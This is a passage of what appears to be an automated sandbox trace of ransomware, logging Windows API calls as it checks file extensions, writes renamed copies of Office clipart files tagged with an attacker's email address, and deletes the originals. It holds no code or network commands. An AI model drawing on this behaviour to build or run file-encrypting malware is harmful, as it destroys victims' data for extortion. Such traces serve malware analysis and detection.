Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf")) returned 1 [0193.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.149] lstrlenW (lpString=".doc") returned 4 [0193.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.149] lstrlenW (lpString=".docx") returned 5 [0193.149] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0193.149] lstrlenW (lpString=".pdf") returned 4 [0193.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.149] lstrlenW (lpString=".xls") returned 4 [0193.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.149] lstrlenW (lpString=".xlsx") returned 5 [0193.149] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0193.150] lstrlenW (lpString=".ppt") returned 4 [0193.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.150] lstrlenW (lpString=".zip") returned 4 [0193.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.160] lstrlenW (lpString=".rar") returned 4 [0193.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.160] lstrlenW (lpString=".bz2") returned 4 [0193.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.160] lstrlenW (lpString=".7z") returned 3 [0193.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.160] lstrlenW (lpString=".dbf") returned 4 [0193.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.160] lstrlenW (lpString=".1cd") returned 4 [0193.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.161] lstrlenW (lpString=".jpg") returned 4 [0193.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.161] lstrlenW (lpString=".doc") returned 4 [0193.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.161] lstrlenW (lpString=".docx") returned 5 [0193.161] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0193.161] lstrlenW (lpString=".pdf") returned 4 [0193.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.161] lstrlenW (lpString=".xls") returned 4 [0193.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.161] lstrlenW (lpString=".xlsx") returned 5 [0193.161] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0193.161] lstrlenW (lpString=".ppt") returned 4 [0193.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.161] lstrlenW (lpString=".zip") returned 4 [0193.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.161] lstrlenW (lpString=".rar") returned 4 [0193.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.161] lstrlenW (lpString=".bz2") returned 4 [0193.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.161] lstrlenW (lpString=".7z") returned 3 [0193.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.161] lstrlenW (lpString=".dbf") returned 4 [0193.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.162] lstrlenW (lpString=".1cd") returned 4 [0193.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0193.162] lstrlenW (lpString=".jpg") returned 4 [0193.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.162] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0193.162] lstrlenW (lpString="J0187847.WMF") returned 12 [0193.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0193.164] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=7116) returned 1 [0193.164] CloseHandle (hObject=0x434) returned 1 [0193.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf")) returned 0x220 [0193.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0193.165] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.165] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0193.166] GetLastError () returned 0x0 [0193.166] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1bcc, lpOverlapped=0x0) returned 1 [0193.168] WriteFile (in: hFile=0x344, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1bd0, lpOverlapped=0x0) returned 1 [0193.169] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.169] WriteFile (in: hFile=0x344, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.170] SetEndOfFile (hFile=0x344) returned 1 [0193.170] CloseHandle (hObject=0x344) returned 1 [0193.170] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.170] SetEndOfFile (hFile=0x434) returned 1 [0193.356] CloseHandle (hObject=0x434) returned 1 [0193.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf")) returned 1 [0193.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0193.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0193.754] lstrlenW (lpString=".doc") returned 4 [0193.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.754] lstrlenW (lpString=".docx") returned 5 [0193.754] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0193.754] lstrlenW (lpString=".pdf") returned 4 [0193.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.754] lstrlenW (lpString=".xls") returned 4 [0193.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.754] lstrlenW (lpString=".xlsx") returned 5 [0193.754] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0193.754] lstrlenW (lpString=".ppt") returned 4 [0193.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0193.755] lstrlenW (lpString=".zip") returned 4 [0193.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.755] lstrlenW (lpString=".rar") returned 4 [0193.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.755] lstrlenW (lpString=".bz2") returned 4 [0193.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.755] lstrlenW (lpString=".7z") returned 3 [0193.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0193.755] lstrlenW (lpString=".dbf") returned 4 [0193.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0193.755] lstrlenW (lpString=".1cd") returned 4 [0193.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0193.755] lstrlenW (lpString=".jpg") returned 4 [0193.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0193.960] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=5620) returned 1 [0193.960] CloseHandle (hObject=0x548) returned 1 [0193.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf")) returned 0x220 [0193.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0193.961] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.961] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0193.964] GetLastError () returned 0x0 [0193.964] ReadFile (in: hFile=0x548, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x15f4, lpOverlapped=0x0) returned 1 [0193.967] WriteFile (in: hFile=0x550, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1600, lpOverlapped=0x0) returned 1 [0193.968] ReadFile (in: hFile=0x548, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.968] WriteFile (in: hFile=0x550, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.968] SetEndOfFile (hFile=0x550) returned 1 [0193.969] CloseHandle (hObject=0x550) returned 1 [0193.969] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.969] SetEndOfFile (hFile=0x548) returned 1 [0193.973] CloseHandle (hObject=0x548) returned 1 [0193.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf")) returned 1 [0193.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0193.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0193.978] lstrlenW (lpString=".doc") returned 4 [0193.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.978] lstrlenW (lpString=".docx") returned 5 [0193.978] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0193.978] lstrlenW (lpString=".pdf") returned 4 [0193.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.978] lstrlenW (lpString=".xls") returned 4 [0193.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.978] lstrlenW (lpString=".xlsx") returned 5 [0193.979] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0193.979] lstrlenW (lpString=".ppt") returned 4 [0193.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0193.979] lstrlenW (lpString=".zip") returned 4 [0193.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.979] lstrlenW (lpString=".rar") returned 4 [0193.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString=".bz2") returned 4 [0193.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString=".7z") returned 3 [0193.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0193.979] lstrlenW (lpString=".dbf") returned 4 [0193.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0193.979] lstrlenW (lpString=".1cd") returned 4 [0193.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0193.979] lstrlenW (lpString=".jpg") returned 4 [0193.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.005] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=5824) returned 1 [0194.005] CloseHandle (hObject=0x548) returned 1 [0194.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf")) returned 0x220 [0194.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.007] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.007] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0194.008] GetLastError () returned 0x0 [0194.008] ReadFile (in: hFile=0x548, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x16c0, lpOverlapped=0x0) returned 1 [0194.010] WriteFile (in: hFile=0x550, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0194.012] ReadFile (in: hFile=0x548, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.012] WriteFile (in: hFile=0x550, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.012] SetEndOfFile (hFile=0x550) returned 1 [0194.012] CloseHandle (hObject=0x550) returned 1 [0194.012] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.012] SetEndOfFile (hFile=0x548) returned 1 [0194.017] CloseHandle (hObject=0x548) returned 1 [0194.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf")) returned 1 [0194.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0194.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0194.019] lstrlenW (lpString=".doc") returned 4 [0194.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.019] lstrlenW (lpString=".docx") returned 5 [0194.019] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0194.019] lstrlenW (lpString=".pdf") returned 4 [0194.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.019] lstrlenW (lpString=".xls") returned 4 [0194.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.019] lstrlenW (lpString=".xlsx") returned 5 [0194.019] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0194.019] lstrlenW (lpString=".ppt") returned 4 [0194.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0194.019] lstrlenW (lpString=".zip") returned 4 [0194.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.020] lstrlenW (lpString=".rar") returned 4 [0194.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.020] lstrlenW (lpString=".bz2") returned 4 [0194.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.020] lstrlenW (lpString=".7z") returned 3 [0194.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0194.020] lstrlenW (lpString=".dbf") returned 4 [0194.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0194.020] lstrlenW (lpString=".1cd") returned 4 [0194.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF") returned 68 [0194.020] lstrlenW (lpString=".jpg") returned 4 [0194.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.022] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=15196) returned 1 [0194.022] CloseHandle (hObject=0x548) returned 1 [0194.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf")) returned 0x220 [0195.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0195.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0195.476] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.476] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.478] GetLastError () returned 0x0 [0195.478] ReadFile (in: hFile=0x494, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x3b5c, lpOverlapped=0x0) returned 1 [0195.480] WriteFile (in: hFile=0x45c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3b60, lpOverlapped=0x0) returned 1 [0195.482] ReadFile (in: hFile=0x494, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, 